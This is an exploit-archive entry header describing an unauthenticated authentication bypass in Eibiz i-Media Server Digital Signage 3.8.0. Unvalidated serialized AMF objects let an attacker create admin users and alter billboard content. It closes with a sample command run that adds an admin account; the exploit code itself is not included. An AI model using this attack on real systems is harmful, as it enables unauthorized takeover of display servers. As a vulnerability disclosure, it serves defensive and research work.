# Exploit Title: Eibiz i-Media Server Digital Signage 3.8.0 - Authentication Bypass # Date: 2020-08-21 # Exploit Author: LiquidWorm # Vendor Homepage: http://www.eibiz.co.th # Version: <=3.8.0 # CVE: N/A #!/usr/bin/env python3 # -*- coding: utf-8 -*- # # # Eibiz i-Media Server Digital Signage 3.8.0 (createUser) Authentication Bypass (Add Admin) # # # Vendor: EIBIZ Co.,Ltd. # Product web page: http://www.eibiz.co.th # Affected version: <=3.8.0 # # Summary: EIBIZ develop advertising platform for out of home media in that # time the world called "Digital Signage". Because most business customers # still need get outside to get in touch which products and services. Online # media alone cannot serve them right place, right time. # # Desc: The application suffers from unauthenticated privilege escalation and # arbitrary user creation vulnerability that allows authentication bypass. # Once serialized, an AMF encoded object graph may be used to persist and retrieve # application state or allow two endpoints to communicate through the exchange # of strongly typed data. These objects are received by the server without validation # and authentication and gives the attacker the ability to create any user with # any role and bypass the security control in place and modify presented data on # the screen/billboard. # # ========================================================================================= # # # python3 imedia_createUser.py 192.168.1.1 waddup # # --Sending serialized object... # --Replaying... # # ------------------------------------------------------ # Admin user 'waddup' successfully created.
